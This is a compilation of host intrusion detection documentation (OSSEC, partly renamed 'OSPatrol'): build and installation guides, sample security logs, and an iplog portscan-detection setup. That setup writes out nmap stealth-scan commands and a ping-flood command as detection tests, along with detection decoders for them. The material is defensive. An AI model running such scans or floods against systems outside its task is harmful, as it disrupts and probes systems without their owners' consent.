After that, download the source and generate the Windows package directory (replace 2.6 with the latest version or download the latest source here [https://bitbucket.org/dcid/ospatrol-hids/get/tip.tar.gz]):


# wget http://www.ospatrol.net/files/ospatrol-hids-2.6.tar.gz
# tar -zxvf ospatrol-hids-2.6.tar.gz
# cd ospatrol-hids-2.6/src/win32
# ./gen-win.sh






Now, you will have the win-pkg directory under src. Just go there and run make.sh. Your Windows agent package should be created in a few minutes:


# cd ../win-pkg






The following script may need to be modified depending on which Linux distribution is being used.


# sh ./make.sh






You will see the following in the screen:


Making windows agent
rootcheck/win-common.c: In function "__os_winreg_querykey":
rootcheck/win-common.c:279: warning: pointer targets in passing argument 7 of "RegEnumValueA" differ in signedness
win-registry.c: In function "os_winreg_querykey":
...

Output: "ospatrol-win32-agent.exe"
Install: 7 pages (448 bytes), 3 sections (3144 bytes), 379 instructions (10612 bytes), 247 strings (42580 bytes), 1 language table (346 bytes).
Uninstall: 5 pages (320 bytes),
1 section (1048 bytes), 301 instructions (8428 bytes), 166 strings (2646 bytes), 1 language table (290 bytes).
Datablock optimizer saved 8371 bytes (~0.7%).






Which means that your agent executable ospatrol-win32-agent.exe has been created properly.


This document is a copy of Daniel Cid’s blogpost Compiling the Windows Agent from a Linux system [http://dcid.me/2009/06/compiling-the-windows-agent-from-a-linux-system/]
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Compiling OSSEC with ming:


OSSEC’s Windows agent is compiled using MinGW [http://www.mingw.org/]


It has always been a pain to generate snapshots for Windows because it required me to open up my Windows VM (slow), push the code there, compile, etc. Well, until this week when I started to play with MinGW cross-compilation feature to completely build an Windows agent from Linux.


How it works? First, you need to install MinGW and nsis [http://nsis.sourceforge.net/Main_Page] (to build the installer). For OpenSSL support, an OpenSSL MinGW package will also be necessary.


After that, download the source and generate the Windows package directory (replace 2.6 with the latest version or download the latest source here [https://bitbucket.org/dcid/ossec-hids/get/tip.tar.gz]):


# wget http://www.ossec.net/files/ossec-hids-2.6.tar.gz
# tar -zxvf ossec-hids-2.6.tar.gz
# cd ossec-hids-2.6/src/win32
# ./gen-win.sh






Now, you will have the win-pkg directory under src. Just go there and run make.sh. Your Windows agent package should be created in a few minutes:


# cd ../win-pkg






The following script may need to be modified depending on which Linux distribution is being used.


# sh ./make.sh






You will see the following in the screen:


Making windows agent
rootcheck/win-common.c: In function "__os_winreg_querykey":
rootcheck/win-common.c:279: warning: pointer targets in passing argument 7 of "RegEnumValueA" differ in signedness
win-registry.c: In function "os_winreg_querykey":
...

Output: "ossec-win32-agent.exe"
Install: 7 pages (448 bytes), 3 sections (3144 bytes), 379 instructions (10612 bytes), 247 strings (42580 bytes), 1 language table (346 bytes).
Uninstall: 5 pages (320 bytes),
1 section (1048 bytes), 301 instructions (8428 bytes), 166 strings (2646 bytes), 1 language table (290 bytes).
Datablock optimizer saved 8371 bytes (~0.7%).






Which means that your agent executable ossec-win32-agent.exe has been created properly.


This document is a copy of Daniel Cid’s blogpost Compiling the Windows Agent from a Linux system [http://dcid.me/2009/06/compiling-the-windows-agent-from-a-linux-system/]
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Log Samples from Racoon VPN


*submited by Charles (kef_list <kef_list@ibacom.es>) to the Ossec List.



Good login:


2006-08-10 19:22:40: INFO: respond new phase 1 negotiation:







		111.111.111.194[500]<=>83.36.51.44[500]


		2006-08-10 19:22:40: INFO: begin Aggressive mode.
2006-08-10 19:22:40: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-


		ike-02


		2006-08-10 19:22:41: INFO: ISAKMP-SA established 111.111.111.194


		[500]-83.36.51.44[500] spi:3ac2d5023f433d3e:e2d682b6f4fc4830


		2006-08-10 19:22:42: INFO: respond new phase 2 negotiation:


		111.111.111.194[0]<=>83.36.51.44[0]


		2006-08-10 19:22:42: INFO: no policy found, try to generate the


		policy : 10.0.1.5/32[0] 10.15.13.224/27[0] proto=any dir=in


		2006-08-10 19:22:42: INFO: IPsec-SA established: ESP/Tunnel


		83.36.51.44->111.111.111.194 spi=188599340(0xb3dcc2c)


		2006-08-10 19:22:42: INFO: IPsec-SA established: ESP/Tunnel


		111.111.111.194->83.36.51.44 spi=19221256(0x1254b08)


		2006-08-10 19:22:42: ERROR: such policy does not already exist:


		10.0.1.5/32[0] 10.15.13.224/27[0] proto=any dir=in


		2006-08-10 19:22:42: ERROR: such policy does not already exist:


		10.0.1.5/32[0] 10.15.13.224/27[0] proto=any dir=fwd


		2006-08-10 19:22:42: ERROR: such policy does not already exist:





10.15.13.224/27[0] 10.0.1.5/32[0] proto=any dir=out





This line indicates that the initial phase 1 auth (pskeys or certificates) have been exchanged correctly:


2006-08-10 19:22:41: INFO: ISAKMP-SA established 111.111.111.194 [500]-83.36.51.44[500] spi:3ac2d5023f433d3e:e2d682b6f4fc4830









The other two lines to notice, and the ones that definetly say we have a new VPN established are:


2006-08-10 19:22:42: INFO: IPsec-SA established: ESP/Tunnel 83.36.51.44->111.111.111.194 spi=188599340(0xb3dcc2c)
2006-08-10 19:22:42: INFO: IPsec-SA established: ESP/Tunnel 111.111.111.194->83.36.51.44 spi=19221256(0x1254b08)






(there are two, one for incomming traffic, another for outgoing
traffic).


Strangely enough the last 3 errror lines are NOT errors. They are
caused because I am using a “roadwarrior” configuration where
connections are allowed from variable IP addresses as opposed to the
tipical VPN between two static IPs. They simply indicate that racoon
as automatically created security policies for those IPs (and both
sides are behind NAT).


Another sample of GOOD login (in this case between two static IPs)


2006-02-19 11:09:25: INFO: respond new phase 1 negotiation: 80.34.246.154[500]<=>217.127.190.50[500]
2006-02-19 11:09:25: INFO: begin Identity Protection mode.
2006-02-19 11:09:26: WARNING: ignore INITIAL-CONTACT notification, because it is only accepted after phase1.
2006-02-19 11:09:26: INFO: ISAKMP-SA established 80.34.246.154 [500]-217.127.190.50[500] spi:bc013ca51d1a8745:9b95e47f6705088b
2006-02-19 11:09:26: INFO: respond new phase 2 negotiation: 80.34.246.154[0]<=>217.127.190.50[0]
2006-02-19 11:09:27: INFO: IPsec-SA established: ESP/Tunnel 217.127.190.50->80.34.246.154 spi=87487840(0x536f560)
2006-02-19 11:09:27: INFO: IPsec-SA established: ESP/Tunnel 80.34.246.154->217.127.190.50 spi=1290938215(0x4cf22767)






As you can see the last two lines are identical as the first case.


WARNING: in both samples they represent a “tunnel” configuration. I
do not know what they would look like in “transport” mode....





Now here are some samples of FAILLED logins from hackers trying to get in:


The interesting line is:


Also, there is no INFO: ISAKMP-SA established... line because phase 1
has failed.


Here is another case of invalid login, this time the errors are
caused because the hacker has used different settings for the many
options that need to be set the same way on both sides to establish a
VPN
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Log samples for Suhosin


Apr  1 11:44:40 localhost suhosin[24239]: ALERT - configured request variable value length limit exceeded - dropped variable 'introtext' (attacker '192.168.1.2', file '/var/www/site/administrator/index2.php')
Apr  1 11:47:20 localhost suhosin[23611]: ALERT - configured request variable value length limit exceeded - dropped variable 'content' (attacker '192.168.1.2', file '/var/www/site/index.php')
Sep 15 14:18:47 enix suhosin[76367]: ALERT - canary mismatch on efree() - heap overflow detected (attacker '189.77.0.122', file '/srv/www/public_html/vbseo.php')
Sep  8 10:28:23 xxyy suhosin[26338]: ALERT - tried to register forbidden variable 'GLOBALS' through GET variables (attacker '80.67.26.40', file '/home/htdocs/vbseo.php')
Sep  8 07:11:30 aabb suhosin[14679]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'action' (attacker '209.51.140.58', file '')
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  How do the log checksums work?


by `Daniel B. Cid <http://www.dcid.me>`_
Taken from `OSPatrol blog <http://dcid.me/2007/05/dailychained-checksum-of-ospatrol-alerts/>`_


Starting with version 1.2, OSPatrol will come with support for daily/chained checksums enabled by default.


Basically, what it means is that at the end of each day, ospatrol will generate the md5/sha1 sum of the
currently logs plus the md5/sha1 sum of the checksum from the logs of the previous day.


To exemplify, at the end of Apr 23, ospatrol will create the following file:


# pwd
/var/ospatrol/logs/alerts/2007/Apr
# cat ospatrol-alerts-23.log.sum
Current checksum:
MD5  (/logs/alerts/2007/Apr/ospatrol-alerts-23.log) =
7a275b2d07a5aac500c78c7af51de457
SHA1 (/logs/alerts/2007/Apr/ospatrol-alerts-23.log) =
af560a60bfb9fde5944c4bfc36fedfb16a1956d5

Chained checksum:
MD5  (/logs/alerts/2007/Apr/ospatrol-alerts-22.log.sum) =
2ab5d8637e9f63493d2f3f3a9b06b17f
SHA1 (/logs/alerts/2007/Apr/ospatrol-alerts-22.log.sum) =
6b1f3c29abc9e37ddb6b1a53ac83b0fe20830140






If you look at the checksum of Apr 22, it will have its own plus the one from the day 21
(and the same will happen back until the first day that the chain started).


What do we get from that? First, any modification on the old logs will require changing all
the next checksums. Second, if you e-mail them to you every day (or post somewhere publicly),
you can have a valid case to prove that they were not tampered.
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OSSEC 101: Server Installation



Things to keep in mind:


Many of the OSSEC daemons chroot to the installation directory (/var/ossec is the default, and is the reference directory for this document).
All logs are currently kept in the /var/ossec/logs directory. Some log files are rotated daily, but OSSEC does not move logs outside of /var/ossec/logs.
Depending on a number of factors these logs can become large, so make sure you have enough space to store the logs you want to keep.


Related to the amount of storage space you give to OSSEC is the “events per second” (EPS) you expect to receive.
Michael Starks has provided a script to determine EPS in a blog post: 3WoO Day 2: Calculating Your EPS [http://www.immutablesecurity.com/index.php/2011/10/24/3woo-day-2-calculating-your-eps/].
There has not been any formal load testing on OSSEC, but some informal testing has shown a local installation can handle 11,000 EPS. (email [http://osdir.com/ml/ossec-list/2010-09/msg00217.html] by Christopher Moraes)
This test was done under mostly ideal conditions, but we would be interested in hearing performance reports from other users.


The number of rules and agents can also affect the speed of the OSSEC manager, and the amount of space necessary for to hold the logs. More agents means more logs.





Installation process:



		Download the OSSEC tarball and pgp/gnupg signature from ossec.net [http://www.ossec.net/main/downloads].





[image: OSSEC download]

		Use GnuPG or PGP to verify the download. Use gpg --import OSSEC-GPG-Key.asc to import the OSSEC gpg key, then gpg --verify ossec-hids-2.6.tar.gz.sig ossec-hids-2.6.tar.gz to verify the signature and file.





[image: gpg --verify ossec-hids-2.6.tar.gz]

		Unpack the tarball and change into the new directory with tar -zxf ossec-hids-2.6.tar.gz. Run the install.sh script to perform the installation ./install.sh:





[image: cd ossec-hids-2.6 && ./install.sh]

		If you wish to output alert information to a database (MySQL or PostgreSQL) or to Prelude, run the appropriate make command in the src directory. For database output run make setdb and for Prelude use make setprelude:






		Verify the information and press ENTER. System should detail the operating system and platform, User should be the current user, and Host should display the hostname.





[image: OSSEC installation information]

		The installation type for this install will be server, and we are using the default install directory. It should be possible to install OSSEC anywhere in the system but selecting the default will be easiest. Items inside the brackets are the default answers.





[image: OSSEC installation questions]

		This installation will be configured to send email, integrity check daemon, and the rootkit detection engine.





[image: OSSEC more installation questions]

		We will be disabling active response for now. Active response deserves its own section, and will be covered later.





[image: OSSEC disable active response]

		We will also disable remote syslog (using OSSEC’s syslog will be covered later). The script prints a log file that will be analyzed in addition to the typical log files. In this case it is a Debian specific log file.





[image: OSSEC disable syslog]

		At this point OSSEC will be compiled. After compilation has completed, the script provides more information:





[image: OSSEC post installation message]



Adding an agent:



		Adding agents is done with the manage_agents application:





[image: cd /var/ossec/bin && ./manage_agents]

		The manage_agents menu is simple, enter a to add an agent:





[image: Add an agent with a]

		Enter the agent’s information. In the IP address field a CIDR (192.168.1.0/24) or any can be used:





[image: OSSEC manage_agents agent information]

		After confirming the addition, manage agents will notify you that the OSSEC processes must be restarted:





[image: OSSEC manage_agents exit]

Note


Restarting the OSSEC processes is only necessary for the initial agent.
While subsequent additions will still give the message, the restart is not necessary.





		Restarting the OSSEC processes:





[image: cd /var/ossec/bin && ./ossec-control restart]
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OSSEC 101: syslog output



Options:





Log sample:
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Security Logs




		Log samples for Iplog


		McAfee Logs


		Modsecurity samples
		Access denied:


		Access denied by pattern:


		Access denied by pattern (invalid user agent):








		Log samples for the Sidewinder firewall


		Log samples for Suhosin


		Symantec Antivirus logs
		General logs:


		Log samples of virus detection:








		Log Samples for Symantec Web Security
		Generic entries:


		Session timeout (3=1,2=2):


		Login success (3=2,2=1):


		Login failures: (3=2,2=1):


		URLs:


		Example of ossec parsing it:








		Log Samples for Trend Micro Office Scan OSCE
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Configuring Checkpoint



Run this command:


# fw log -ftnp fw.log | logger -t Checkpoint









Explanation:


- fw log :
  -f select current log file
  -t tail file
  -n use ip instead of name
  -p use port number instead of name









Do not use the following options in fw log:


-
-l add date before timestamp
-  Use of -l changes log format slightly
-
-g without : and ; delimiters
-  Use of -g significantly changes log format
-  this decoder is incompatible with -g
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OSSEC 101: Local Installation



Why you may want a local installation:





Forwarding alerts to another OSSEC system:
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How to set up Syslog output


OSSEC allows you to send the alerts to one or more syslog servers (granularly).



Configuring the Syslog servers


In this example here, I am sending everything to server 192.168.4.1 and only the alerts above level 10 to 10.1.1.1:





Enabling client-syslog


After your configured the servers (as above), run the following command and restart OSSEC:


# /var/ossec/bin/ossec-control enable client-syslog
# /var/ossec/bin/ossec-control start









Checking the configuration


After you restart, you should see ossec-csyslog starting:


OSSEC HIDS v1.6 Stopped
Starting OSSEC HIDS v1.6 (by Third Brigade, Inc.).
Started ossec-csyslogd.
..






and on the logs:


# tail -n 1000 /var/ossec/logs/ossec.log |grep csyslog
2008/07/25 12:55:16 ossec-csyslogd: INFO: Started (pid: 19412).
2008/07/25 12:55:16 ossec-csyslogd: INFO: Forwarding alerts via syslog to: .192.168.4.1:514..
2008/07/25 12:55:16 ossec-csyslogd: INFO: Forwarding alerts via syslog to: .10.1.1.1:514..






On the syslog server, this is what you should get (every log separated by level, rule, location and the actual event that generated it):


Jul 25 12:17:41 enigma ossec: Alert Level: 3; Rule: 5715 - SSHD authentication success.; Location: (jul) 192.168.2.0->/var/log/messages; srcip: 192.168.2.190; user: root; Jul 25 13:26:24 slacker sshd[20440]: Accepted password for root from 192.168.2.190 port 49737 ssh2
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OSSEC 101: Hybrid Installation


The hybrid installation method combines an OSSEC server with an OSSEC agent. This allows a system to be a server for a number of agents, and to be an agent to another server. By default the hybrid installation type installs the server portion to /var/ossec, and the agent in /var/ossec/ossec-agent.



Things to keep in mind:


This will be multiple fully functioning OSSEC installations, make sure you plan for the necessary disk space. For instance, one of my hybrid servers shows the following:


$ sudo du -hs /var/ossec/ossec-agent/
1.2G    /var/ossec/ossec-agent/







Installation process:



		The install.sh script will display information about the host including the user name and hostname. Press enter to continue.





[image: hybrid information]

		Select hybrid as the type of installation and select the installation location:





[image: select hybrid]

		Prepare for compilation:





[image: installation information]

		The server side’s compilation is complete:





[image: installation complete]

		Next configure the agent portion of the hybrid installation:





[image: Configure agent]

		After successfully compiling the agent portion you should see a screen similar to this:





[image: Install complete]

		Now that the installation is complete the encryption key needs to be installed. This key will be created on the manager and copied to the agent. The simplest way to





do this is using the manage_agents utility, although creating keys one by one may be time consuming if there are a lot of agents. Othe methods will be covered late
r.





Configuring the system as an agent:
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Detecting portscans with OSPatrol and iplog


iplog is a TCP/IP traffic logger. Currently, it is capable of logging TCP, UDP, and ICMP traffic. iplog is able to detect TCP port scans, TCP null scans, FIN scans, UDP and ICMP “smurf” attacks, bogus TCP flags, TCP SYN scans, TCP “Xmas” scans, ICMP ping floods, UDP scans, and IP fragment attacks. iplog is able to run in promiscuous mode and monitor traffic to all hosts on a network. iplog uses libpcap to read data from the network and can be ported to any system that supports pthreads and on which libpcap will function.



iplog.conf:



The syslog, user, group and internal network configuration is not show (OS dependient)
iplog can log in diferets ways depending of the configuration parameters (DNS resolv, log_dest, etc), the proposed decoders and rules
only work with the logs later described, this configuration file extract is functional with this requeriment, please read man iplog
and man iplog.conf




		Log the IP address as well as the hostname of packets.





set log_ip true







		Do not log the destination of packets (more presentable logs)





set log_dest false







		Ignore DNS traffic from nameservers in /etc/resolv.conf.





set ignore_dns true







		I dont want too many logs: ignore www, netbios, microsoft-ds loc-srv, 5900 tcp/port conecctions, not all the OS recognize the port alias, replace with de adecuate port number





ignore tcp dport 80

ignore tcp dport netbios-ssn

ignore tcp dport microsoft-ds

ignore tcp dport loc-srv

ignore tcp dport 5900







		Port Scan Check





set portscan true

set icmp true

set frag true

set smurf true

set bogus true

set fin_scan true

set syn_scan true

set udp_scan true

set fool_nmap false

set xmas_scan true

set null_scan true

set ping_flood true

set traceroute true









iplog: Scan and attack responses





Connect Scan and SYN scan


nmap -sT -PI -PT 10.10.160.2









iplog response:


Nov 14 18:09:08 TCP: domain connection attempt from 10.10.150.1:51239
Nov 14 18:09:08 TCP: https connection attempt from 10.10.150.1:51240
Nov 14 18:09:08 TCP: port 1723 connection attempt from 10.10.150.1:51241
Nov 14 18:09:08 TCP: ftp connection attempt from 10.10.150.1:51242
Nov 14 18:09:08 TCP: smtp connection attempt from 10.10.150.1:51243
Nov 14 18:09:08 TCP: port 3389 connection attempt from 10.10.150.1:51244
Nov 14 18:09:08 TCP: auth connection attempt from 10.10.150.1:51245
Nov 14 18:09:08 TCP: port 636 connection attempt from 10.10.150.1:51246
Nov 14 18:09:08 TCP: port 256 connection attempt from 10.10.150.1:51247
Nov 14 18:09:08 TCP: port 554 connection attempt from 10.10.150.1:51248
Nov 14 18:09:08 TCP: telnet connection attempt from 10.10.150.1:51249
Nov 14 18:09:08 TCP: port 389 connection attempt from 10.10.150.1:51250
Nov 14 18:09:08 TCP: ssh connection attempt from 10.10.150.1:51251
Nov 14 18:09:08 TCP: port 486 connection attempt from 10.10.150.1:51253
<font color="red">Nov 14 18:09:08 TCP: port scan detected [ports 53,443,1723,21,25,3389,113,636,256,554,...] from 10.10.150.1 [ports 51242,51243,...]</font>
Nov 14 18:09:08 UDP: dgram to port 1 from 10.10.150.1:34324 (300 data bytes)
<font color="red">Nov 14 18:09:12 TCP: SYN scan detected [ports 21,1] from 10.10.150.1 [ports 34333,34335,34325,34326,34327,...]</font>
Nov 14 18:09:12 UDP: dgram to port 1 from 10.10.150.1:34324 (300 data bytes)
Nov 14 18:10:02 last message repeated 1 times
Nov 14 18:10:02 TCP: port scan mode expired for 10.10.150.1 - received a total of 1678 packets (47092 bytes).
Nov 14 18:10:09 TCP: SYN scan mode expired for 10.10.150.1 - received a total of 24 packets (960 bytes).









FIN Stealth Scan:


nmap -sF -p- -PI -PT 10.10.150.2









iplog response:


<font color="red">Nov 14 18:22:51 TCP: FIN scan detected [ports 3389,1723,256,113,22,389,554,443,21,23,...] from 10.10.150.1 [port 57876]</font>
Nov 14 18:24:05 TCP: FIN scan mode expired for 10.10.150.1 - received a total of 65535 packets (1310700 bytes)









NULL Stealth Scan:


nmap -sN -p- -PI -PT 10.10.150.2









iplog response:


<font color="red">Nov 14 18:26:58 TCP: null scan detected [ports 636,53,23,3389,1723,443,113,554,25,21,...] from 10.10.150.1 [port 35444]</font>
Nov 14 18:28:14 TCP: null scan mode expired for 10.10.150.1 - received a total of 65534 packets (1310680 bytes)









Xmas Tree Stealth Scan:


nmap -sX -p- -PI -PT 10.10.150.2









iplog response:


<font color="red">Nov 14 18:30:30 TCP: Xmas scan detected [ports 636,256,554,389,1723,53,443,21,3389,22,...] from 10.10.150.1 [port 42399]</font>
Nov 14 18:31:48 TCP: Xmas scan mode expired for 10.10.150.1 - received a total of 65532 packets (1310640 bytes).









UDP port scan:


nmap -sU -p- -PI -PT 10.10.150.2









iplog response:


Nov 14 18:34:59 UDP: dgram to port 33161 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 41107 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 63571 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 48714 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 25271 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 13612 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 41094 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 52700 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 11482 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 62794 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 28270 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 27081 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 10866 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 63494 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 28686 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 44600 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 21771 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 53283 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 44436 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 46916 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 30519 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:34:59 UDP: dgram to port 8041 from 10.10.150.1:60362 (0 data bytes)
Nov 14 18:35:00 UDP: dgram to port 8041 from 10.10.150.1:60363 (0 data bytes)
Nov 14 18:35:00 UDP: dgram to port 30519 from 10.10.150.1:60363 (0 data bytes)
<font color="red">Nov 14 18:35:00 UDP: scan/flood detected [ports 33161,41107,63571,48714,25271,...] from 10.10.150.1 [ports 60362]</font>
Nov 14 18:39:15 UDP: scan/flood mode expired for 10.10.150.1 - received a total of 356 packets (2848 bytes).









traceroute:


traceroute 10.10.150.1









iplog response:



<font color=”red”>Nov 14 18:57:18 UDP: traceroute from 10.10.150.2</font>






Flood ping attack:


ping -f 10.10.150.2









iplog response:



<font color=”red”>Nov 14 19:09:33 ICMP: ping flood detected from 10.10.150.1</font>
Nov 14 19:11:29 ICMP: ping flood mode expired for 10.10.150.1 - received a total of 428 packets (8416000 bytes).






IP fragment attacks:


TODO





UDP and ICMP “smurf” attacks:


Nov 18 19:12:30 ICMP/UDP: smurf attack detected from 201.223.41.0
<font color="red">Nov 18 19:23:30 ICMP/UDP: smurf attack detected from 201.223.41.0</font>
Nov 18 19:28:07 ICMP/UDP: smurf attack mode expired for 201.223.41.0 - received a total of 337 packets (21568 bytes).









Another interesting logs:





bogus TCP flags:


<font color="red">Nov 14 15:57:56 TCP: Bogus TCP flags set by 10.10.160.2:60873 (dest port 25)</font>









OSPatrol (HIDS) + iplog (sensor) implementation:



		Work in progress


		TODO: improve regex, decoders and rules. p0f complementation?


		Configuration tested in FreeBSD 6.1 and archlinux gimmick


		Last modification 14/Nov/2006








iplog decoder:





For this logs:



Nov 14 18:09:12 TCP: SYN scan detected [ports 21,1] from 10.10.150.1 [ports 34333,34335,34325,34326,34327,...]
Nov 14 18:09:08 TCP: port scan detected [ports 53,443,1723,21,25,3389,113,636,256,554,...] from 10.10.150.1 [ports 51242,51243,...]
Nov 14 18:22:51 TCP: FIN scan detected [ports 3389,1723,256,113,22,389,554,443,21,23,...] from 10.10.150.1 [port 57876]
Nov 14 18:26:58 TCP: null scan detected [ports 636,53,23,3389,1723,443,113,554,25,21,...] from 10.10.150.1 [port 35444]
Nov 14 18:30:30 TCP: Xmas scan detected [ports 636,256,554,389,1723,53,443,21,3389,22,...] from 10.10.150.1 [port 42399]






a working decoder is:


<decoder name="iplog-scan">
 <prematch>\S+ scan detected</prematch>
 <regex offset="after_prematch">\S+ \S+ from (\S+)</regex>
 <order>srcip</order>
</decoder>









For this log:


Nov 14 18:35:00 UDP: scan/flood detected [ports 33161,41107,63571,48714,25271,...] from 10.10.150.1 [ports 60362]









a proppossed decoder is (not tested):


<decoder name="iplog-flood">
 <prematch>scan/flood detected</prematch>
 <regex offset="after_prematch">\S+ \S+ from (\S+)</regex>
 <order>srcip</order>
</decoder>









For this log:


Nov 14 19:09:33 ICMP: ping flood detected from 10.10.150.1









a proppossed decoder is (not tested):


<decoder name="iplog-pingflood">
 <prematch>ping flood detected from</prematch>
 <regex offset="after_prematch">(\S+)</regex>
 <order>srcip</order>
</decoder>









For this log:


(necesary to include???????) i Think no (very paranoid)


Nov 14 18:57:18 UDP: traceroute from 10.10.150.2









a proppossed decoder is (not tested):


<decoder name="iplog-traceroute">
 <prematch>pingtraceroute from</prematch>
 <regex offset="after_prematch">(\S+)</regex>
 <order>srcip</order>
</decoder>









For this log:


(necesary to include???????) i Think no (very paranoic)


Nov 14 15:57:56 TCP: Bogus TCP flags set by 10.10.160.2:60873 (dest port 25)









a proppossed decoder is (not tested):




		<decoder name=”iplog-bogustcp”>


		<prematch>Bogus TCP flags set by</prematch>
<regex offset=”after_prematch”>(d+.d+.d+.d+):d+</regex>
<order>srcip</order>





</decoder>









iplog rules:


Only for working decoders:


cd /var/ospatrol/rules
touch iplog_rules.xml
chown root:ospatrol iplog_rules.xml
chmod 550 iplog_rules.xml






in iplog_rules.xml include:


<group name="syslog,errors,">
 <rule id="99990" level="6">
   <decoded_as>iplog-scan</decoded_as>
   <description>iplog scan detect</description>
 </rule>
</group>






ospatrol.conf’


cd /var/ospatrol/etc
vi  ospatrol.conf






include in the correct place:


<include>iplog_rules.xml</include>






and


<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/iplog</location>
</localfile>






or wherever you put your iplog logs


start iplog


iplog -d






restart ospatrol
.. code-block:: console



/var/ospatrol/bin/ospatrol-control restart



test with nmap (see before)





OSPatrol active-response:





Firewall Drop: FreeBSD-IPFW:


Add to your ipfw script the follow lines, if you are using the 00001 rule number disoccupying:


/sbin/ipfw add 00001 deny ip from table\(00002\) to any
/sbin/ipfw add 00001 deny ip from any to table\(00002\)






Change  /var/ospatrol/active-response/bin/firewall-drop.sh to adjust to the red lines


#!/bin/sh
# Adds an IP to the IPFW drop list.
# Only works with IPFW.
# We use TABLE 00001. If you use this table for anything else,
# please change it here.
# Expect: srcip
# Author: Rafael Capovilla - under @ ( at ) underlinux.com.br
# Author: Daniel B. Cid - dcid @ ( at ) ospatrol.net
# Last modified: May 07, 2006
UNAME=`uname`
IPFW="/sbin/ipfw"
ARG1=""
ARG2=""
ACTION=$1
USER=$2
IP=$3
<font color="red">TABLE_ID=00002</font>
LOCAL=`dirname $0`;
cd $LOCAL
cd ../
PWD=`pwd`
echo "`date` $0 $1 $2 $3" >> ${PWD}/ospatrol-hids-responses.log
# Checking for an IP
if [ "x${IP}" = "x" ]; then
  echo "$0: <action> <username> <ip>"
  exit 1;
fi
#  Blocking IP
if [ "x${ACTION}" != "xadd" -a "x${ACTION}" != "xdelete" ]; then
   echo "$0: Invalid action: ${ACTION}"
   exit 1;
fi
# We should run on FreeBSD
# We always use table 00001 and rule id 00001.
if [ "X${UNAME}" = "XFreeBSD" ]; then
  ls ${IPFW} >> /dev/null 2>&1
  if [ $? != 0 ]; then
      exit 0;
  fi
  # Check if our table is set
  <font color="red"> ${IPFW} show | grep "^00001" | grep "table(2)" >/dev/null 2>&1</font>
  if [ ! $? = 0 ]; then
       # We need to add the table
       ${IPFW} -q 00001 add deny ip from table\(${TABLE_ID}\) to any
       ${IPFW} -q 00001 add deny ip from any to table\(${TABLE_ID}\)
  fi
  # Executing and exiting
  ${IPFW} -q table ${TABLE_ID} ${ACTION} ${IP}
  exit 0;
fi
# Not FreeBSD
exit 1;






Include in /var/ospatrol/etc/ospatrol.conf:


<command>
  <name>firewall-drop</name>
  <executable>firewall-drop.sh</executable>
  <expect>srcip</expect>
</command>

<active-response>
  <disabled>no</disabled>
  <command>firewall-drop</command>
  <location>local</location>
     <rules_id>99990</rules_id>
</active-response>






restart ospatrol:


/var/ospatrol/bin/ospatrol-control restart






Scan your machine (caution OSPatrol will block the scanner IP) from online scanner server like: http://www.derkeiler.com/Service/PortScan/, or from a remote machine with:


nmap -sT -PI -PT 1.2.3.4






look if the active-response works with:


/sbin/ipfw table 2 list






or


tail -f /var/ospatrol/active-response/ospatrol-hids-responses.log






if you want to flush the banned IPs in the table


/sbin/ipfw table 2 flush






or want to remove a specific IP in the table


/sbin/ipfw table 2 delete 1.2.3.4






if you want to flush the table every 24 Hrs:


vi /etc/crontab






and include
.. code-block:: console



0    */24       *       *       *  root /sbin/ipfw table 2 flush > /dev/null 2>&1






More restrictions:





iplog.conf:


To Enable  or  disable  a mechanism that attempts to fool programs, such as nmap and queso, that perform remote OS detection, add the follow line to iplog.conf


set fool_nmap true






As  a side effect, enabling this option will also cause most of nmap’s stealth” scans to fail.





BSD’s sysctl (some FreeBSD especific):


tcp_drop_synfin
net.inet.tcp.blackhole
net.inet.udp.blackhole
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OSSEC 101: Installing a Linux Agent



Things to keep in mind:


Just like the server installation most of the agent OSSEC processes chroot themselves to /var/ossec. Unlike the server version, an agent installation does not store as many logs. The main logs are /var/ossec/logs/ossec.log and /var/ossec/logs/active-responses.log if you are using active response. Be sure to allow ample space for these log files.





Installation process:


In the following steps actions performed on the agent will be in the red putty windows, and actions on the server will be in the black backgrounded windows.



		Download the OSSEC tarball and pgp/gnupg signature from ossec.net [http://www.ossec.net/main/downloads] to the agent.





[image: OSSEC download]

		Use GnuPG or PGP to verify the download. Use gpg --import OSSEC-GPG-Key.asc to import the OSSEC gpg key, then gpg --verify ossec-hids-2.6.tar.gz.sid ossec-hids-2.6.tar.gz to verify the signature an





d file.


[image: gpg --verify ossec-hids-2.6.tar.gz]

		Unpack the tarball and change into the new directory with tar -zxf ossec-hids-2.6.tar.gz. Run the install.sh script to perform the installation ./install.sh:





[image: cd ossec-hids-2.6 && ./install.sh]

		The install.sh script will display information about the host including the user name and hostname. Press enter to continue.





[image: agent information]

		Select agent as the type of installation and select an installation location (as usual, we’re using the default):





[image: select agent]

